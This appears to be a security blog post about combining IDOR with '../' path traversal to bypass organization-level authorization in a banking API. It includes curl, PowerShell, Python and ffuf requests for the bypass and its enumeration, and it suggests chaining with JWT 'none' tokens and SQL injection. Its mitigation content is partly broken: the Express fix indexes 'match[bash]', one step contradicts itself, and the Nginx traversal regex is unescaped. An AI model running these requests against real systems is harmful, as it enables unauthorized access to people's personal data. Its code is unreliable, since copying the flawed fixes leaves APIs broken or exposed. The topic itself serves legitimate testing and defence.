IDOR + Path Traversal = Critical PII Exposure: How a Simple ‘/’ Bypassed Banking API Authorization + Video

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Introduction

Insecure Direct Object References (IDOR) remain one of the most dangerous API flaws, often allowing attackers to access unauthorized data by manipulating object identifiers. When combined with path traversal techniques—using sequences like ../—even well-protected endpoints can be tricked into revealing sensitive information, as demonstrated by a recent bug bounty discovery in an online banking platform where a single `../` transformed a 403 Forbidden into a 200 OK, exposing Social Security Numbers (SSNs) across organizational boundaries.

Learning Objectives

  • Understand how path traversal can bypass API authorization checks when servers normalize URLs before validation.
  • Learn to manually test for IDOR vulnerabilities using path traversal sequences in REST API endpoints.
  • Implement secure coding and mitigation strategies to prevent path traversal and IDOR in web applications and APIs.

You Should Know

  1. Understanding the Vulnerability: Path Traversal in API Endpoints
    The discovered vulnerability exploited a common misconfiguration: the server performed path normalization (resolving `../` sequences) before checking the user’s authorization. The original request to `/api/orgs/target_org_id/users/list` returned 403 because the user lacked access to target_org_id. However, by injecting `../` from a resource the user could access (my_org_id), the normalized path became identical to the forbidden endpoint—but authorization was never re-evaluated.

Step‑by‑step guide to understand the flow:

  1. Attacker identifies an endpoint that accepts organization identifiers: /api/orgs/{org_id}/users/list.
  2. Attacker owns or has access to my_org_id. Requesting `/api/orgs/my_org_id/users/list` returns 200.

3. Attacker tries `target_org_id` directly → 403 Forbidden.

4. Attacker crafts a path traversal payload: `/api/orgs/my_org_id/../target_org_id/users/list`.

5. Server normalizes `/my_org_id/../target_org_id` to `/target_org_id` before authorization.

  1. Because the normalization happens first, the authorization engine sees `/api/orgs/target_org_id/users/list` and denies access? No—if the engine checks after normalization, it might incorrectly grant access if it only verifies the original request path or if the normalized path bypasses a scope check.

Why it worked: The server’s authorization middleware likely checked the raw request path (containing my_org_id) and allowed it, then the routing layer normalized the path, leading to execution with elevated context.

2. Replicating the Attack: Linux and Windows Commands

Use the following commands to test for similar IDOR+path traversal flaws in your own API testing.

Linux / macOS (curl):

 Direct request (should be 403)
curl -X GET "https://bank-api.example.com/api/orgs/target_org_id/users/list" \
-H "Authorization: Bearer YOUR_TOKEN" -v

Path traversal bypass
curl -X GET "https://bank-api.example.com/api/orgs/my_org_id/../target_org_id/users/list" \
-H "Authorization: Bearer YOUR_TOKEN" -v

URL-encoded traversal (often bypasses naive filters)
curl -X GET "https://bank-api.example.com/api/orgs/my_org_id/%2e%2e/%2e%2e/target_org_id/users/list" \
-H "Authorization: Bearer YOUR_TOKEN"

Windows (PowerShell):

$headers = @{ Authorization = "Bearer YOUR_TOKEN" }
$uri1 = "https://bank-api.example.com/api/orgs/target_org_id/users/list"
$uri2 = "https://bank-api.example.com/api/orgs/my_org_id/../target_org_id/users/list"

Direct
Invoke-RestMethod -Uri $uri1 -Headers $headers -Method Get -StatusCodeVariable sc
Write-Host "Status: $sc"

Traversal
Invoke-RestMethod -Uri $uri2 -Headers $headers -Method Get -StatusCodeVariable sc
Write-Host "Status: $sc"

Using Python (for automation):

import requests
url_base = "https://bank-api.example.com/api/orgs/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
target = "target_org_id"
my_org = "my_org_id"

Direct
resp1 = requests.get(f"{url_base}{target}/users/list", headers=headers)
print(f"Direct: {resp1.status_code}")

Traversal
resp2 = requests.get(f"{url_base}{my_org}/../{target}/users/list", headers=headers)
print(f"Traversal: {resp2.status_code}")
if resp2.status_code == 200:
print(resp2.json())  Potential PII exposure

3. API Security Misconfigurations: How Authorization Fails

This vulnerability stems from improper ordering of request processing—specifically, performing path normalization after authorization or not re‑evaluating authorization on the normalized path. Common misconfigurations include:
– Using string matching on the raw request path instead of a parsed, normalized path.
– Trusting that `../` cannot appear because the API is “RESTful” (but developers forget that reverse proxies or frameworks auto‑normalize).
– Implementing organization‑level access control only for top‑level identifiers without canonicalizing the full path.

Step‑by‑step guide to audit your own API:

  1. Map all endpoints that accept hierarchical identifiers (e.g., /orgs/{id}/..., /users/{id}/docs).
  2. For each endpoint, identify a resource you legitimately own (resource_A) and one you do not (resource_B).

3. Send requests like: `GET /path/to/resource_A/../resource_B`.

  1. Also try encoded variants: %2e%2e%2f, ..;/, `….//` (double traversal).
  2. Observe if response status changes from 403 to 200 or 401 to 200.
  3. If successful, the flaw is confirmed. Check if the response contains PII (SSNs, emails, financial data).

4. Mitigation Strategies: Fixing Path Traversal and IDOR

To prevent this class of vulnerability, implement defense in depth:

Code fix (Node.js/Express example):

const path = require('path');
const normalize = require('normalize-path');

app.get('/api/orgs/:orgId/users/list', (req, res) => {
// 1. Normalize the full path from the original URL
const fullPath = normalize(req.originalUrl);
// 2. Extract the orgId from the normalized path (do NOT trust req.params directly)
const normalizedOrgId = extractOrgIdFromNormalizedPath(fullPath);
// 3. Check authorization against the normalized identifier
if (!userHasAccess(req.user, normalizedOrgId)) {
return res.status(403).json({ error: 'Forbidden' });
}
// 4. Proceed with data fetch
fetchUsers(normalizedOrgId).then(users => res.json(users));
});

function extractOrgIdFromNormalizedPath(path) {
const match = path.match(/\/api\/orgs\/([^\/]+)\/users\/list/);
return match ? match[bash] : null;
}

Linux/Windows system hardening for API gateways:

  • Configure reverse proxies (Nginx, Apache, IIS) to reject requests containing `../` or `..\` before they reach the backend: 
    Nginx: block traversal patterns
if ($request_uri ~ "../") {
return 403;
}
  • Use Web Application Firewall (WAF) rules to detect path traversal (e.g., ModSecurity CRS rule 930120).

General best practices:

  • Always use a canonicalization function on the request path before authorization.
  • Never rely on raw URL parameters for access control; map identifiers to internal IDs using a lookup table.
  • Implement randomized, unpredictable IDs (UUIDs) instead of sequential or guessable org IDs.

5. Advanced Exploitation: Chaining with Other Techniques

Path traversal plus IDOR can be amplified by other API weaknesses:

  • JWT algorithm confusion: If the API uses JWT for organization context, try `../` in the path while also manipulating the `org_id` claim in a token signed with `none` algorithm.
  • Rate limiting bypass: Many APIs rate‑limit based on the original path. By injecting ../, you may hit a different rate‑limit bucket, allowing brute‑force enumeration of target_org_id.
  • Caching poisoning: If a CDN caches responses based on the normalized path but the authorization check is bypassed, one user’s traversal request could poison the cache for all users.

Step‑by‑step to test for chaining:

  1. Enumerate valid `org_id` values using a wordlist and the traversal technique (observe response times or error messages).
  2. Once a vulnerable endpoint is found, attempt to change the HTTP method (e.g., `POST` instead of GET) to see if you can modify data.
  3. Combine with SQL injection in a parameter of the `/users/list` endpoint (e.g., ?filter=...).

6. Tools for Detection and Exploitation

Use these tools to automate IDOR+path traversal discovery:

  • Burp Suite – Intruder with payloads like my_org_id/../FUZZ, my_org_id/%2e%2e/%2e%2e/FUZZ. Use the “Path traversal” scanner.
  • ZAP (Zed Attack Proxy) – Active scan rule “Path Traversal” and “IDOR” add‑on.
  • Custom ffuf command: 
    ffuf -u "https://bank-api.example.com/api/orgs/my_org_id/../FUZZ/users/list" \
-w org_ids.txt -H "Authorization: Bearer YOUR_TOKEN" -fc 403,404
  • Postman – Create a collection with pre‑request script that replaces `{{org_id}}` with my_org_id/../target_org_id.

Windows tool: Use `fiddler` with custom rule to rewrite paths automatically, or `Burp Suite Community Edition` with the same payloads.

7. Cloud Hardening for API Authorization

If the banking API runs on cloud platforms (AWS, Azure, GCP), apply these hardening measures:

  • AWS API Gateway: Use a Lambda authorizer that receives the normalized request path. Configure the Gateway to reject `../` via a requestValidator: 
    x-amazon-apigateway-request-validator: params-and-body
Then in OpenAPI, add pattern constraint on path parameters
  • Azure API Management: Create a policy to check for path traversal before backend call: 
    <choose>
<when condition="@(context.Request.Url.Path.Contains("../"))">
<return-response>
<set-status code="403" reason="Forbidden" />
</return-response>
</when>
</choose>
  • Google Cloud Endpoints: Use an ESPv2 filter with a Lua script to canonicalize paths and re‑validate authentication.

Step‑by‑step cloud test:

  1. Deploy a test API that mirrors the banking app’s architecture.
  2. Send traversal requests from a client outside the VPC.
  3. Monitor cloud WAF logs (AWS WAF, Azure WAF) to see if the traversal is blocked.
  4. If not blocked, reconfigure with a custom rule that matches `\.\./` in the request URI.

What Undercode Say

  • Key Takeaway 1: Path traversal is not just for file systems—it’s a powerful API authorization bypass technique. Normalizing user input before any access control decision is non‑negotiable.
  • Key Takeaway 2: The banking industry’s rush to microservices often leaves API gateways misconfigured. Always test with encoded and double traversal sequences, and never trust the client to scope its own organization ID.

Analysis: This vulnerability reveals a fundamental flaw in how many developers implement API authorization: they assume that the route parameter (e.g., :orgId) is the only identifier that needs checking, ignoring that the full URL path can be manipulated. The root cause is the separation between routing (which normalizes) and authorization (which often inspects the raw path). Until frameworks enforce a “normalize‑then‑authorize” pipeline, this class of bug will persist. Organizations must move away from path‑based access control and adopt attribute‑based access control (ABAC) using internal session context, not URL strings.

Prediction

As APIs become the primary attack surface for fintech and banking, IDOR+path traversal combinations will increasingly be discovered in production environments. AI‑driven code assistants (e.g., GitHub Copilot) may inadvertently generate vulnerable endpoint logic that normalizes paths after authorization, accelerating the spread of this flaw. Within 18 months, we will see automated scanning tools that specifically target “authorization before normalization” patterns, and bug bounty payouts for such issues will exceed $10,000 per report. Regulatory bodies (PCI DSS v4.0, ISO 27001) will likely add explicit requirements for canonicalized authorization checks, forcing API gateways to implement built‑in protection. Developers must proactively shift to “deny by default” and adopt API security posture management (ASPM) solutions that continuously test for path traversal in every deployment.

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